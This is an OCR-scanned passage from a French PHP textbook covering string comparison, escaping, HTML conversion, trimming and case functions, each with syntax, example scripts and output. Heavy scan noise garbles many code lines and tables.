les $nbCaracteres premiers caracteres des deux chaines sont 
identiques. 

<?php 

echo strncmp("aa", "aaa", 2)."\n"; 
echo strncmp("aa" , "aaa", 3)."\n"; 
echo strncmp("abcdg" , "abcef", 3)."\n"; 
echo strncmp("abcdg" , "abcef", 4)."\n"; 

?> 

Le resultat obtenu est alors le suivant : 


-1 


-1 



strcollQ 



CD Q} 

= B 
o o 



.Br o> 
c -a 

E CD 

ra £ 

_l CO 



Compare deux chaines de caracteres selon la configuration locale du serveur. Si la 
configuration courante est C ou POSIX, alors cette fonction est identique a strcmp ( ) . 

Syntaxe int strcol 1 (stri ng $chainel, string $chaine2) 

Les fonctions strcmp ( ) et strncmp ( ) ont leurs equivalents insensibles a la casse ; ce sont les 
fonctions strcasecmp ( ) et strncasecmp ( ) . 



strcasecmpO 

Compare deux chaines de caracteres a partir de l'ordre alphabetique sans tenir compte de la casse. 

Syntaxe int strcasecmp(string $chainel, string $chaine2) 

$chainel Chaine a comparer. 

$chaine2 Chaine a comparer. 

retour -1 si la chaine 1 est placee avant la chaine 2 dans l'ordre alphabetique, 1 

dans le cas contraire et si les deux chaines sont identiques. 



378 



Comparaison de chaTnes de caracteres 



strncasecmpO 



Compare les premiers caracteres de deux chaines de caracteres a partir de l'ordre alphabetique 
sans tenir compte de la casse. 

Syntaxe int strncasecmp (string $chainel, string $chaine2, int 

$nbCaracteres) 

$chainel Chaine a comparer. 

$chaine2 Chaine a comparer. 

$nbCaracteres Nombre de caracteres a comparer. 

retour -1 si les $nbCaracteres premiers caractere de chaine 1 sont places 

avant la chaine 2 dans l'ordre alphabetique, 1 dans le cas contraire et si 
les $nbCaracteres premiers caracteres des deux chaines sont 
identiques. 

Un algorithme de "comparaison naturelle" est egalement disponible. Voici sa description : 



strnatcmpO 



Compare deux chaines utilisant un algorithme cense ordonner des chaines de caracteres 
comme le ferait un etre humain. 



Syntaxe 

$chai nel 
$chaine2 
retour 



int strnatcmp(string $chainel, string $chaine2) 
Chaine a comparer. 
Chaine a comparer. 

- 1 si la chaine 1 est placee avant la chaine 2 dans l'ordre "naturel", 1 dans le 
cas contraire et si les deux chaines sont identiques. 



Pour mettre en avant la difference entre strcmp ( ) et strnatcmp ( ) , le script suivant trie un 
tableau selon les deux methodes. 



<?php 
$tabl eaul 



$tableau2 = array 



echo "Ordre standard :\n"; 

usort($tableaul, "strcmp"); 

print_r($tableaul) ; 

echo "\nOrdre naturel :\n"; 

usort ($tabl eau2, "strnatcmp" 

print_r($tableau2) ; 

?> 



('image5.jpg' , 
'image4.jpg' , 
1 imagel2.jpg 1 
1 image8.jpg 1 , 
1 imagel.jpg 1 , 
'image43.jpg' 
'imagel4.jpg 1 



e-j o 



2 ™ 

CO CO 
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Voici le resultat obtenu : 

Ordre standard: 

Array 

( 



[0] 


=> 


imagel.jpg 


[1] 


=> 


imagel2.jpg 


[2] 


=> 


imagel4.jpg 


[3] 


=> 


image4.jpg 


[4] 


=> 


image43.jpg 


[5] 


=> 


image5.jpg 


[6] 


=> 


image8.jpg 



) 

Ordre naturel : 

Array 

( 



[0] 


=> 


imagel.jpg 


[1] 


=> 


image4.. 


ipg 


[2] 


=> 


image5.. 


ipg 


[3] 


=> 


i mage8 . . 


ipg 


[4] 


=> 


imagel2 


jpg 


[5] 


=> 


imagel4 


jpg 


[6] 


=> 


image43 


jpg 



) 

Une fonction equivalente, mais insensible a la casse, existe. Elle s'appelle strnatcasecmp ( ) . 



CO <= 

_i re 



r- « 



strnatcasecmp () 



S S Compare deux chaines utilisant un algorithme cense ordonner des chaines de caracteres 

-£ comme le ferait un etre humain. Cette fonction est insensible a la casse. 

o o 
re 

iS re Syntaxe int strnatcasecmp (string $chainel, string $chaine2) 

= o 

~ .g $chainel Chaine a comparer, 

re _~ 

E aj $chaine2 Chaine a comparer. 

retour -1 si la chaine 1 est placeeavant la chaine 2 dans l'ordre "naturel", 1 dansle 

cas contraire et si les deux chaines sont identiques. 

<?php 

$tableaul = $tableau2 = array ('Image5.jpg', 

1 image4.jpg 1 , 
1 Imagel2.jpg 1 , 
1 image8.jpg 1 , 
1 Imagel.jpg 1 , 
1 image43.jpg 1 , 
'Imagel4.jpg'); 

echo "Ordre standard : \n" ; 



380 



Comparaison de chaTnes de caracteres 



usort($tableaul, "strcmp"); 

print_r($tableaul) ; 

echo "\nOrdre naturel:\n"; 

usort ($tabl eau2, "strnatcasecmp") ; 

print_r($tableau2) ; 

?> 

Voici le resultat obtenu : 

Ordre standard: 

Array 

( 

[0] => Imagel.jpg 

[1] => Imagel2.jpg 

[2] => Imagel4.jpg 

[3] => image4.jpg 

[4] => image43.jpg 

[5] => Image5.jpg 

[6] => image8.jpg 



) 



Ordre naturel : 

Array 

( 

[0] => Imagel.jpg 

[1] => image4.jpg 

[2] => Image5.jpg 

[3] => image8.jpg 

[4] => Imagel2.jpg 

[5] => Imagel4.jpg 

[6] => image43.jpg 

) 



RENVOI 



Vous pouvez egalement utiliser les fonctions min() et max I), decrites dans le 
chapitre "PHP et les mathematiques", pour determiner la chaine de caracteres ayant 
la premiere ou la demiere position dans un classement alphabetique d'une liste de 
chaines. 



Comparaison orthographique 



<r> o 



CO CO 



similar_text() 

Permet de comparer deux chaines en estimant leurs ressemblances. Cette fonction est sensible 
a la casse. 
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Syntaxe int similar_text(string $chainel, string $chaine2, [double 

&$pourcentage] ) 

$ c h a i n e 1 Une des deux chaines a comparer. 

$chai ne2 La chaine avec laquelle on veut comparer la premiere. 

$pourcentage Si une reference est passee en parametre, la valeur en % y sera declaree. 

retour Le nombre de caracteres en commun. 

<?php 

$chainel = "Une des chaines a comparer"; 
$chaine2 = "L 1 autre des chaines a comparer"; 
echo similar_text($chainel, $chaine2) . "\n" ; 
$pourcentage = 0; 

echo similar_text($chainel, $chaine2, &$pourcentage) . "\n" ; 
echo $pourcentage. "\n" ; 

echo similar_text("aaa", "AAA", &$pourcentage) . "\n" ; 
echo $pourcentage. "\n" ; 

?> 

Voici le resultat obtenu : 

24 
24 

85.714285714286 







jf^tk Methode utilisee 

La methode utilisee est celle de Oliver [1993] qui est decrite a I'adresse suivante : 
INTERNET http://citeseer.nj.nec.com/oliver93decision.html. 

«8 eS II existe une autre methode permettant de mesurer la distance entre deux chaines de caracteres, 



-CD 
S O 

S2 is 
s o 
.Br cd 
s= -a 

E CD 

™ B 

_l CO 



e'est la distance de Levenshtein. Le calcul est ici moins gourmand que le precedent. 



levenshteinQ 



Calcule la distance de Levenshtein entre deux chaines de caracteres. La distance de 
Levenshtein se definit comme etant le plus petit nombre de caracteres a remplacer dans la 
premiere chaine pour obtenir la seconde. 

Syntaxe int 1 evenshtei n (stri ng $chainel, string $chaine2 [, int 

$coutInsert, int $coutRempl ace, int $coutSupprime] ) 

$chainel Chaine a comparer. 

$chaine2 Chaine a comparer. 

$cout!nsert Cout d'une insertion. 
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$coutRempl ace Cout d'un remplacement. 
$coutSupprime Cout d'une suppression. 

retour Distance de Levenshtein, ou 1 si l'une des deux chaines fait plus de 255 

caracteres. 

<?php 

$chainel = "Une des chaTnes a comparer"; 

$chaine2 = "L'autre des chaTnes a comparer"; 

echo levenshtein($chainel, $chai ne2) . "\n" ; 

echo levenshtein($chainel, $chaine2, 2, 3, l)."\n"; 

echo levenshtein("aaa", "AAA")."\n"; 

?> 



Voici le resultat obtenu : 
5 

11 

3 



Comparaison phonique 

Les fonctions presentees ici ne permettent pas une comparaison directe, mais permettent de 
definir une valeur basee sur la consonance d'un mot. 



soundexQ 



Permet de calculer une valeur a partir de la prononciation d'une chaine de caracteres. La 
particularite de cette valeur est que deux mots ayant la meme consonance auront le meme 
"soundex". Attention, cette fonction est adaptee a la prononciation anglaise. 



Syntaxe 

$chai ne 
retour 



string soundex(stri ng $chaine) 

Chaine de caracteres dont on veut calculer la valeur ' soundex ' 
Le "soundex". 



Listing 7.13 : soundex. php 

<?php 

echo soundex("seri al killer"); 
echo "<br />"; 

echo soundex("seriol quilleur" 

echo "<br />"; 

echo soundex("Welcome") ; 

echo "<br />"; 

echo soundex("ouel come") ; 

echo "<br />"; 

echo soundex("elephant") ; 



e-j o 



2 ™ 

CO CO 
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echo "<br />"; 

echo soundex("el efant") ; 

echo "<br />"; 

echo soundex("el efante") ; 



Le resultat de ce script est le suivant : 

S642 
S642 
W425 
0425 
E415 
E415 
E415 



metaphoneQ 



Cette fonction est tres similaire a soundex ( ) . Elle a le meme objectif, mais utilise une 
representation et un algorithme differents. 

Syntaxe string metaphone (string $chaine) 

$chai ne Chaine de caracteres dont vous souhaitez le "metaphone". 

retour Une valeur dependant de la facon de prononcer la chaine de caracteres. 

Listing 7.14 : metaphone. php 

<?php 

echo metaphone("serial killer"); 
S3 g echo "<br />"; 

~ ,S echo metaphone("seriol quilleur"); 

echo "<br />"; 
echo metaphone("Welcome") ; 
~Z echo "<br />"; 

c§ echo metaphone("ouelcome") ; 

^ g echo "<br />"; 

3 '!5 echo metaphone("elephant") ; 

r-^ « echo "<br />"; 

echo metaphone("elefant") ; 

echo "<br />"; 

echo metaphone("elefante") ; 

?> 

Dont le resultat est : 

SRLKLR 
SRLKLR 
WLKM 



o 
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OLKM 
ELFNT 
ELFNT 
ELFNT 



7.4. Gestion des caracteres speciaux 
Ajout du caractere d'echappement 

II est parfois utile d'encoder des chaines de caracteres. C'est le cas, par exemple, pour echapper 
certains caracteres speciaux. 



addSlashesQ 



Permet 1'echappement de certains caracteres. Concretement, il s'agit des caracteres : ' , 11 , \ et 

NUL (\0). 

Syntaxe string addSl ashes (stri ng $chaine) 

$chai ne Chaine de caracteres a modifier. 

retour La chaine avec les caracteres speciaux echappes. 

<?php 

$chaine="C'est \ Cool"; 
echo $chaine; 
echo "\n"; 

echo addSlashes($chaine) ; 

?> 

Voici le resultat obtenu : 

C'est \ Cool 
C\'est \\ Cool 



REMARQUE 



<n o 



magic _quotes_gpc 2>' n 

Par defaut, les 'magic quotes' (apostrophes magiques) sont activees, c'est-d-dire que «° S? 

les apostrophes sont automatiquement precedees du signe \ lorsque les valeurs sont 
passees a un script par la methode get, post ou par cookie. 



Une fonction tres similaire, appelee quoteMeta ( ) , permet egalement 1'echappement de 
certains caracteres. 
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quoteMeta() 

Permet d'echapper les caracteres :.,\,+,?, A ,$, [,],(,). 

Syntaxe string quoteMeta (string $chaine) 

$ c h a i n e Chaine a transformer, 

retour Chaine transformee. 



addCSlashes() 



Retourne une chaine de caracteres en ajoutant des \ devant les caracteres precises. Les 
caracteres ayant un code ASCII inferieur a 32, ou superieur a 126, sont convertis a leur valeur 
octale. 

Syntaxe string addCSl ashes (stri ng $chaine, string $1 i steCaracteres) 

$ c h a i n e Chaine de caracteres a transformer. 

$1 i steCaracteres Liste des caracteres a echapper. 
retour Chaine transformee. 

<?php 

$chaine="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; 
echo $chaine; 
echo "\n"; 

echo addcsl ashes ($chai ne, "A. . z") ; 
echo "\n"; 

echo addcsl ashes ($chai ne, "G. . f ") ; 

?> 

"a i— 

c '22 Et voici le resultat obtenu : 

o o 

■§ g ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz 

.& o \A\B\C\D\E\F\G\H\I\J\K\L\M\N\0\P\Q\R\S\T\UW\W\X\Y\Z\a\b\c\d\e\f\g\h\i\j\k\l\m\n 

\o\p\q\r\s\t\u\v\w\x\y\z 
= | ABCDEF\G\H\I\J\K\L\M\N\0\P\Q\R\S\T\U\V\W\X\Y\Z\a\b\c\d\e\fghijklmnopqrstuvwxyz 
_i 'ea 

A Caracteres speciaux 
Le fait d'ajouter un \ peut transformer certaines caracteres en caracteres speciaux, 
ATTENTION c es ^ l e cas de 0, a, b, f, n, r, t et v. 



Suppression du caractere d'echappement 

Les fonctions inverses existent bien evidemment. Elles permettent de supprimer les \. 
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stripSlashesO 

Retire les slashes ajoutes par la fonction addsiashes ( ) . 

Syntaxe string stri pSl ashes (stri ng $chaine) 

$ c h a i n e Chaine de caracteres pour laquelle vous souhaitez retirer les \ . 

retour La chaine sans les \ d'echappement. 

<? php 

$chaine="Cette chaine contient des ' et des \."; 
echo $chaine; 
echo "\n"; 

echo addSlashes($chaine) ; 
echo "\n"; 

echo stri pSl ashes (addsl ashes ($chai ne) ) ; 

?> 

Ce qui donne en retour : 

Cette chaine contient des ' et des \. 
Cette chaine contient des V et des \\. 
Cette chaine contient des ' et des \. 

De la meme maniere, le resultat obtenu par addcsiashes ( ) est obtenu par 

stripCSlashes ( ) . 



stripCSlashesO 

Fonction inverse de addcsiashes ( ) . 5- ■~ J 

— > a) 

Syntaxe string stri pCSl ashes (stri ng $chaine) cd g 

$chaine Chaine dont vous souhaitez retirer les \ d'echappement. " -5" 

retour Chaine sans les \ d'echappement. S 5- 

as =r. 
2. 

Dans l'exemple suivant, nous ne nous sommes pas mefies des caracteres speciaux. Observez le 2?' a. 

resultat obtenu : ™ 5? 

<?php 

$chaine="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; 
echo $chaine; 
echo "\n"; 

echo addCSl ashes ($chai ne, "G. . f ") ; 
echo "\n"; 

echo stri pCSl ashes (addCSl ashes ($chai ne, "G. .f ") ) ; 

?> 
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Resultat obtenu : 

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz 

ABCDEF\G\H\I\J\K\L\M\N\0\P\Q\R\S\T\U\V\W\X\Y\Z\a\b\c\d\e\fghijklmnopqrstuvwxyz 
ABCDEFGHI J KLMNOPQRSTUVWXYZDcdeDghi j kl mnopqrstuvwxyz 



Conversion des caracteres en code HTML 

Dans le cas de l'ecriture de pages HTML, il peut etre utile de transformer certains caracteres 
speciaux en leurs equivalents HTML. C'est le cas des caracteres &, ", ' , < et >, qui peuvent etre 
remplaces respectivement par &amp ; , &quot ; , &apos ; , &it ; et &gt . 



E CD 
_l CO 



htmlSpecialChars() 



Retourne une chaine de caracteres pour laquelle les caracteres speciaux de l'HTML ont ete 
convertis. Cela ne concerne pas les caracteres accentues. 

Syntaxe string html Speci al Chars (stri ng $chaine [, int $apostrophes [, 

string $encodage]]) 

$ c h a i n e Chaine de caracteres a transformer. 

$apostrophes Auchoix: 

ENT_COMPAT (par defaut), pour que cette fonction ne transforme que 
les guillemets et laisse les apostrophes telles quelles. 

ENT_QUOTES, pour transformer les apostrophes et guillemets. 
ENT_NOQUOTES, pour ne transformer ni les apostrophes ni les guillemets. 

$encodage Par defaut il vaut "ISO-8859-1". 

v> u) retour La chaine transformee. 

CD 

"a i— 

= -a 

o o 



1 s mm 

a. gj ~ Cette fonction est notamment utile pour les forums ou livres d'or, par exemple. En 

R L;F effet, si un utilisateur utilise Vun de ces caracteres, il est souhaitable que ceux-ci 

reapparaissent tels quels par la suite. 



Voici un exemple : 



Listing 7.15 : htmlspecialchars.php 

<html> 

<headxti tl e>HTMLSpeci al Chars</ti tl ex/head> 

<body> 

<p> 

<?php 

$chaine = "Un message avec du HTML <i> &, e, \" et des 1 </i>"; 
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echo $chaine."<br />\n"; 

echo html special chars($chai ne) ; 

?> 

</P> 

</body> 

</html> 

Voici le code source obtenu : 
<html> 

<headxti tl e>HTMLSpeci al Chars</ti tl ex/head> 
<body> 

<P> 

Un message avec du HTML <i> &, e, " et des ' </ixbr /> 

Un message avec du HTML <i> &, e, " et des ' </i></p> 

</body> 

</htinl> 

Et, done, le resultat du navigateur : 

Un message avec du HTML &, e, " et des ' 

Un message avec du HTML <i> &, e, " et des 1 </i> 

Une autre fonction tres similaire permet de transformer tous les caracteres speciaux en leurs 
equivalents HTML. Elle s'appelle htmlEntities ( ) . 



Retourne une chaine de caracteres pour laquelle tous les caracteres speciaux (y compris les 
caracteres accentues) ont ete convertis en leurs equivalents HTML. 



htmlEntities () 




$chai ne 
$apostrophes 



Syntaxe 



string html Entities(string $chaine[, int $apostrophes [, 
string $encodage]] ) 

Chaine de caracteres a transformer. 



°> -5' 
o c 



Au choix : 




$encodage 



retour 



ENT_C OM P AT (par defaut), pour que cette fonction ne transforme que les 
guillemets et laisse les apostrophes telles quelles. 
ENT_QUOTES, pour transformer les apostrophes et les guillemets. 
ENT_NOQUOTES, pour ne transformer ni les apostrophes ni les guillemets. 

Par defaut, il vaut "ISO-8859-1". 

La chaine transformee. 




Voici le script d'exemple : 
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Listing 7.16 : htmlentities.php 

<html> 

<headxti tl e>HTMLEnti ti es</ti tl ex/head> 
<body> 

<P> 
<?php 

$chaine = "Un message avec du HTML <i> &, e, \" et des 1 </i>"; 
echo $chaine."<br />\n"; 
echo html Entities($chaine) ; 

?> 

</P> 

</body> 

</html> 

Voici le resultat obtenu a l'ecran : 

Un message avec du HTML &, e, " et des 1 

Un message avec du HTML <i> &, e, " et des ' </i> 

et voici le code source correspondant : 
<html> 

<headxti tl e>HTMLEnti ti es</ti tl ex/head> 
<body> 

<P> 

Un message avec du HTML <i> &, e, " et des ' </ixbr /> 

Un message avec du HTML <i> Samp;, Segrave;, " et des 1 

x </i></p> 

</body> 

</html> 




get_html_translation_table () 



Permet de placer, dans un tableau associatif, les tables de conversion des caracteres speciaux en 
leurs equivalents HTML, utilisees par les fonctions htmlspecialchars ( ) et 

htmlEntities ( ) . 



Syntaxe 



array get_html_translation_table(int $table [, int 
$apostrophes] ) 



Stable 



Table a recuperer, au choix : 

HTML_ENT I T I E S , pour la table utilisee par htmlEntities ( ) . 
HTML_SPECIALCHARS, pour la table utilisee 
htmlSpecialChars ( ) . 



par 



$apostrophes 



Au choix : 



ENT_COMPAT (par defaut), pour que cette fonction ne transforme que les 
guillemets et laisse les apostrophes telles quelles. 
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ENT_QUOTES, pour transformer les apostrophes et les guillemets. 
ENT_NOQUOTES, pour ne transformer ni les apostrophes ni les guillemets. 

retour Un tableau associatif ayant pour cles les caracteres speciaux, et pour 

valeurs leurs equivalents HTML. 

Voici un script d'exemple : 

Listing 7.17 : gethtmltranslationtable.php 

<?php 

print_r(get_html_translation_table(HTML_ENTITIES)); 
print_r(get_html_translation_table(HTML_SPECIALCHARS)) ; 

?> 

dont le resultat est : 



Array 
( 



[ ] =>   
[i] => &iexcl ; 
[<t] => ¢ 
[£] => £ 
[ H ] => ¤ 
[¥] => ¥ 
[|] => ¦ 
[§] => § 
[ "] => ¨ 
[©] => © 
[ a ] => ª 
[« ] => « 

=> ¬ 
[-] => ­ 
[®] => ® 
["] => ¯ 
[°] => ° 
[+] => Splusmn; 
[ : ] => ² 
['] => ³ 
['] => ´ 
[jj] => µ 

[H] => ¶ ™ " 

[•] => · 

[J => ¸ 

['] => &supl; 

[°] => &ordni; 

[ »] => » 

[Vi] => &fracl4; 

[ 1 / 2 ] => &fracl2; 

[%] => ¾ 

[i] => ¿ 

[A] => À 



=; as 
o o 
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CD q) 

■o i— 

= B 

o o 



c= -a 

E CD 
_l CO 



[A 
[A 
[A 
[A 

[A: 

k: 

[E 
[E 
[E 
[E 
[I 
[I 

[i 
[i 

[0 
[N 

[6 
[6 
[6 
[6 

[0 

[x 

w 

[U 
[0 
[0 
[ii 

[Y 
[► 
[B 
[a 
[a 
[a 
[a 
[a 
[a 
K 
K 
[e 
[e 
[e 
[e 
[i 
[1 
[i 
[i 
[0 

[n: 

[6 
[6 
[6 



=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 
=> 



SAacute; 

Â 

Ã 

&Auml ; 

Å 

Æ 

SCcedil ; 

È 

É 

Ê 

SEuml ; 

Ì 

Í 

Î 

&Iuml ; 

Ð 

Ñ 

&0grave; 

&0acute; 

&0circ; 

SOtilde; 

&0uml ; 

× 

SOslash; 

Ù 

SUacute; 

Û 

&Uuml ; 

SYacute; 

&TH0RN; 

ß 

à 

á 

â 

ã 

Sauml ; 

å 

&ael ig; 

&ccedil ; 

è 

Seacute; 

ê 

&euml ; 

&i grave; 

&i acute; 

î 

&i uml ; 

ð 

ñ 

ò 

ó 

ô 
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[6] 


=> 


Sotilde; 


[6] 


=> 


&ounil ; 


W 


=> 


&di vide; 


[0] 


=> 


Soslash; 


[0] 


=> 


ù 


[Q] 


=> 


ú 


[Q] 


=> 


û 


[ii] 


=> 


&uuinl ; 


[y] 


=> 


ý 


M 


=> 


þ 


[&] 


=> 


& 


["] 


=> 


Squot; 


[<] 


=> 


< 


[>] 


=> 


> 



) 

Array 
( 



[&] 


=> 


& 


["] 


=> 


" 


[<] 


=> 


< 


[>] 


=> 


> 



nl2br() 



Retourne une chaine de caracteres dans laquelle les retours chariot ont ete transformes en 
balises de retours de lignes HTML (<br />). 

Syntaxe string nl2br (string $chaine) 

$ c h a i n e Chaine de caracteres a transformer. 

o ;-J 

retour La chaine transformee. o> r- 

CD = 

Listing 7.18 : nl2br.php =■ e. 

<html> § 1 

aj — ■ 

<headxti tl e>nl 2br</ti tl ex/head> £3. ° 

<body> 5' a. 

CD CD 

<p> OT CO 

<?php 

$chaine = "Un message avec 
des retours 
de ligne"; 

echo $chaine."<br />\n"; 

echo nl 2br ($chai ne) ; 

?> 

</P> 

</body> 

</html> 
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Voici la sortie a l'ecran : 

Un message avec des retours de ligne 
Un message avec 
des retours 
de ligne 

Et voici le code HTML genere : 
<html> 

<headxt i tl e>nl 2br</ti tl ex/head> 
<body> 

<P> 

Un message avec 

des retours 

de ligne<br /> 

Un message avec 

<br /> 

des retours 

<br /> 

de ligne</p> 

</B0DY> 

</HTML> 

C\ Modification depuis PHP 4.3.2 

Le comportement de cette fonction a legerement ete modifie pour supporter tout types 
de retours a la ligne. D'anciens scripts peuvent done se comporter differement sur une 
version recente de PHP. 




Conversion d'un alphabet a un autre 



convert_cyr_string () 



Retourne une chaine convertie d'un alphabet cyrillique vers un autre. 



$chai ne 
$depuis 
$vers 



Syntaxe 



retour 



string convert_cyr_stri ng (stri ng $chaine, string $depuis, 
string $vers) 

Chaine a transformer. 

Alphabet cyrillique de depart. 

Alphabet cyrillique voulu. 

La chaine de caracteres transformee. 



Les valeurs de $depart et $vers sont a prendre parmi les suivantes : 
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Tableau 7.3 : Codes des alphabets cyrilliques 



Code 


Designation 


k 


koi8-r 


w 


windows-1251 


i iso8859-5 


a 


x-cp866 


d 


x-cp866 


m 


x-mac-cyrillic 



hebrev() 

Retourne un texte converti de l'hebreu en texte lisible. Cette fonction n'affecte, hormis les 
caracteres de ponctuation, que les caracteres dont le code ASCII est compris entre 224 et 251. 

Syntaxe string hebrev(string $chai neHebreu [, int 

$caracteresParLi gne] ) ; 

$chai neHebreu Chaine a transformer. 

$caracteresParLi gne Nombre de caracteres maximum par ligne. 

retour La chaine transformee. 



hebrevc() 



o 7-J 
a> r - 

Cette fonction a le meme effet que hebrev( ) , mais transforme, en plus, les caracteres \n en 5> 01 

<br />\n. £ | 

a. 3 

Syntaxe string hebrevc(string $chai neHebreu [, int & = 

$caracteresParLi gne] ) ; 3 H. 

00' 

$chai neHebreu Chaine de caracteres a transformer. co- = 

CD ° - 

$caracteresParLigne Nombre de caracteres maximum par ligne. OT v> 

retour La chaine transformee. 



7.5. Manipulation des balises HTML 

Une fonction tres utile permet de supprimer les balises PHP et HTML pour, par exemple, 
retirer les balises ajoutees par des visiteurs d'un forum. Elle s'appelle strip_tags ( ) . 
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strip_tags() 

Retourne une chaine de caracteres pour laquelle les balises PHP et HTML ont ete supprimees. 
Syntaxe string stri p_tags (stri ng $chaine[, string $bal i sesPermi ses] ) 

$ c h a i n e Chaine de caracteres a transformer. 

$bal i sesPermi ses Chaine composee de la concatenation des balises HTML a ne pas 
supprimer. 

retour La chaine transformee. 

Voici un petit exemple : 
<?php 

$chaine="Du texte avec <b>du gras</b>, <i>de 1 1 ital ique</i> et du 

x <u>soul igné</u>" ; 

echo $chai ne. "\n<br />"; 

echo strip_tags($chaine) ."\n<br />"; 

echo strip_tags($chaine,"<b>") ."\n<br />"; 

echo strip_tags($chaine,"<bxu>") ."\n<br />"; 

?> 

dont voici le resultat : 

Du texte avec <b>du gras</b>, <i>de 1 'italique</i> et du <u>soul igné</u> 

<br />Du texte avec du gras, de l'italique et du soul igné 

<br />Du texte avec <b>du gras</b>, de l'italique et du soul igné 

<br />Du texte avec <b>du gras</b>, de l'italique et du <u>soul igné</u> 

<br /> 



eu <= 
i ra 



Amelioration depuis PHP 4.3.2 

w ^ Cette fonction a ete amelioree et gere mieux les signes '<' et '>' qui ne sont pas des 

» » REHARQJE te& 

= 'S 
o o 

(U 

s o 
£■ <u 

C -D 

E CD 



get_meta_tags() (ne fonctionne pas sous Windows) 



r~: o Permet d'extraire les balises d'une chaine de caracteres, et de les mettre dans un tableau. 

Syntaxe array get_meta_tags (stri ng $nomFichier [, boolean 

$cheminInclusion]) 

$nomFichier Nom du fichier a traiter. 

$cheminInclusion TRUE si le fichier doit etre recherche dans les chemins standard 
d'inclusion. 

retour Tableau associatif ayant pour cles les noms des balises "meta" et, pour 

valeurs, les contenus des attributs "content" de ces memes balises. 
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Voici un script d'exemple suivi du fichier de test : 

Listing 7.19 : get_meta_tags.php 

<?php 

$tableau = get_meta_tags( "test. html ") ; 
print_r($tableau) ; 

?> 

Le fichier de test : 



Listing 7.20 : test.html 

<head> 

<meta name="author" content="Damien, Laurent, PEM et Thomas"> 

<meta name="tags" content="Livre PHP"> 

</head> 

Et le resultat obtenu : 

Array 
( 

[author] => Damien , Laurent, PEM et Thomas 
[tags] => Livre PHP 

) 



Suppression des espaces 



Certaines fonctions permettent d'effacer les espaces superflues en debut et/ou fin de chaines de 
caracteres. 



trim() 

Retourne une chaine de caracteres sans les espaces (ou autres caracteres) de debut et de fin. 
Syntaxe string trim(string $chaine [, string $1 i steCaracteres] ) 



o -J 



CD = 



03 —■ 
CJ O 



$ chaine Chaine de caracteres a transformer. ™ S> 

$1 i steCaracteres Caracteres a supprimer (cette option n'existe que depuis la version 4.1.0 
dePHP). 

retour La chaine transformee. 

Par defaut, voici un tableau des caracteres supprimes : 
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Tableau 7.4 : Caracteres supprimes par defaut 



Caractere 


Code ASCII (en decimal puis hexadecimal) 


Description 


\o 


(0x00) 


Caractere nul. 


\t 


9 (0x09) 


Tabulation horizontal. 


\n 


10 (OxOA) 


Nouvelle ligne. 


\xOB 


11 (OxOB) 


Tabulation verticale. 


\r 


13 (OxOD) 


Retour chariot. 


(espace) 


32 (0x20) 


Caractere 
d'espacement. 



Voici un script d'exemple : 



Listing 7.21 : trim.php 

<?php 

$chai ne="\t\t 

\t Le texte important 

\t\t"; 

echo "ChaTne de depart:\n"; 
echo $chai ne. "\n" ; 

echo "ChaTne apres avoir utilise la fonction trim() sans parametre:\n" ; 
echo trim($chai ne) . "\n" ; 

echo "ChaTne apres avoir utilise la fonction trim() avec parametre:\n" ; 
echo trim($chai ne, "\t") . "\n" ; 

?> 



Et voici le resultat obtenu (pour qu'il soit lisible, nous avons remplace manuellement les 
tabulations par \t : 

<*> c/j 

03 qj 

,03 ChaTne de depart: 

.2 1 \t\t 

iS e5 \t Le texte important 
.1- at 

| » \t\t 

fc g ChaTne apres avoir utilise la fonction trim() sans parametre: 

2 '!5 Le texte important 

r-^ « ChaTne apres avoir utilise la fonction trim() avec parametre: 
\t Le texte important 
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ltrim() 

Retourne une chaine de caracteres dans laquelle toutes les espaces (ou autres caracteres) de 
debut de chaine ont ete supprimees. 

Syntaxe string 1 trim (stri rig $chaine [, string $1 i steCaracteres] ) 

$ c h a i n e Chaine de caracteres a transformer. 

$1 i steCaracteres Caracteres a supprimer (cette option n'existe que depuis la version 4.1.0 
de PHP). 

retour La chaine transformee. 



rtrim() 



Retourne une chaine de caracteres dans laquelle toutes les espaces de fin de chaine ont ete 
supprimees. 

Syntaxe string ltrim(string $chaine[, string $1 i steCaracteres] ) 

$ c h a i n e Chaine de caracteres a transformer. 

$1 i steCaracteres Caracteres a supprimer (cette option n'existe que depuis la version 4.1.0 
de PHP). 

retour La chaine transformee. 

rtrim ( ) possede un alias appele chop ( ) . 



Modification de casse 

Pour changer la casse des caracteres, il existe quatre fonctions strToUpper ( ) , strToLower ( ) 

ucFirst ( ) et enfin ucWords ( ) . 

Un script regroupant ces quatre fonctions sera presente apres le detail de celles-ci. 



strToUpper () 

Retourne une chaine dans laquelle tous les caracteres ont ete mis en majuscules. 

Syntaxe string strToUpper (stri ng $chaine) 

$ c h a i n e Chaine de caracteres a transformer, 

retour La chaine transformee en majuscules. 



e-j o 



2 ™ 

CO CO 
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strToLower() 

Retourne une chaine dans laquelle tous les caracteres ont ete mis en minuscules. 
Syntaxe string strToLower (stri ng $chaine) 

$ c h a i n e Chaine de caracteres a transformer, 

retour La chaine transformee en minuscules. 



ucFirst() 

Retourne une chaine de caracteres dans laquelle le premier caractere de la chaine a ete mis en 
majuscule (sans que les autres ne soient changes). 

Syntaxe string ucFirst (string $chaine) 

$ c h a i n e Chaine de caracteres a transformer, 

retour La chaine transformee. 



03 03 



' < w 

SS ce 
s o 
.Br 03 
c -a 

E 03 

w B 
_i ro 



ucWordsO 



Retourne une chaine de caracteres dans laquelle le premier caractere de chacun des mots a ete 
mis en majuscule (sans que les autres ne soient changes). 

Syntaxe string ucWords (stri ng $chaine) 

$ c h a i n e Chaine de caracteres a transformer, 

retour La chaine transformee. 



'3 Voici quelques lignes de code presentant ces fonctions : 



Listing 7.22 : majuscules.php 

<?php 

$chai ne="cette ChaiNe serA trans Formee. " ; 
echo strtol ower ($chai ne) . "<br />\n"; 
echo strtoupper ($chai ne) . "<br />\n"; 
